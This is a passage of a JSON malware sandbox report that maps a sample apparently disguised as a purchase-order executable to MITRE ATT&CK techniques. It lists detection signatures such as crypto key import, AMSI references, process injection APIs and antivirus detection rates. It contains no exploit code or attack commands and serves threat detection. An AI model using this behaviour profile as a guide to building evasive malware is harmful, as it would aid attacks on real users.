Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"PowerShell Profile","attack_id":"T1546.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/013","identifiers":[{"type":"informative","value":"Contains reference to Powershell profile file"}],"sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"suspicious","value":"Discards output of command(s)"}],"sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with low confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"low\" confidence","origin":"Static Analysis","id":"mlmodel-18","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"set_UseShellExecute\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"$27","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-5000","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"Found reference to API (Indicator: \"GetTempPath\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1140","id":"string-106","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"base64\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"FromBase64String\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1027","id":"string-57","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetTempPath\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"11.0.10.32\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"The process modifies itself (often used to modify name for evasion)","description":"/usr/bin/mono-sgen modifies itself during the runtime with PRCTL","origin":"API Call","mitre_attack_id":"T1036","relevance":3,"id":"api-1001","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries system general information (syscall)","description":"/usr/bin/mono-sgen used: uname","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-1006","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"General","name":"Calls native functions (syscalls)","description":"$28","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-1150","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$29","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-1156","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls a system call typically used to get directory entries","description":"/usr/bin/mono-sgen executed: getdents64","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-1153","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Performs cross platform execution","description":"Executes binary with \"mono\"","origin":"API Call","mitre_attack_id":"T1027.004","relevance":3,"id":"api-1168","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"suspicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively low confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_70% (W)","origin":"External System","relevance":10,"id":"avtest-9","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"16/24 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"suspicious","category":"System Destruction","name":"Removes a file or a directory (syscall)","description":"/usr/bin/mono-sgen removed a file/directory: /tmp/84b772c6-3b01-4118-a9df-09239a2f716b.bat\n /usr/bin/mono-sgen removed a file/directory: /dev/shm/mono.1892","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-1014","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"16/24 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to build PowerShell events through modules contained in the .NET code","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-942","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"system.io.compression\" (Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp, 00000000-00000864.00000002.296961.3C110000.00000004.mdmp\")\n Found string \"compressionmode\" (Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp\")\n Found string \"decompressionmethods\" (Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp\")\n Found string \"compressionlevel\" (Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp\")\n Found string \"compressionstrategy\" (Source: \"00000000-00000864.00000001.295166.3C0E0000.00000004.mdmp\")\n Found string \"compressionmethod\" (Source: \"00000000-00000864.00000002.296961.3C110000.00000004.mdmp\")\n Found string \"compressiontracingswitchlevel\" (Source: \"00000000-00000864.00000002.296961.3C110000.00000004.mdmp\")\n Found string \"compressiontracingswitch\" (Source: \"00000000-00000864.00000002.296961.3C110000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to execute applications in hidden mode (.NET)","description":"Observed Namespace \"System.Diagnostics.ProcessStartInfo\" and MemberReference \"set_CreateNoWindow\" in \"HJ GROUPS - PURCHASE ORDER #170331.exe\"","origin":"Static Parser","mitre_attack_id":"T1564.003","relevance":7,"id":"static-161","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00005088)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00005088)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2061363576833', 'hResInfo': '2061363585248'}\" (UID: 00000000-00005088)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2061363576833', 'hResInfo': '2061363585280'}\" (UID: 00000000-00005088)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2061363576833', 'hResInfo': '2061363585296'}\" (UID: 00000000-00005088)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2061363576833', 'hResInfo': '2061363585264'}\" (UID: 00000000-00005088)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"powershell.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\u2nd3ci3 (UID: 00000000-00000864)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThreadToken\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"Found reference to API \"ChangeServiceConfigW\" (Indicator: \"ChangeServiceConfig\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00007312-00000BC0-3467485555\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00000864.00000001.295166.FD170000.00000004.mdmp, 00000000-00000864.00000002.296961.FD170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00000864.00000001.295166.FD170000.00000004.mdmp\n 00000000-00000864.00000002.296961.FD170000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp, 00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp\")\n Found string - \\\\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2e","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"powershell.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00000864.00000001.295166.3C0C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00005088.00000000.292569.D7B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")\n Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; Source: \"00000000-00000864.00000002.296961.A452A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00005088.00000000.292569.D7B20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00000864.00000001.295166.3C0C0000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: 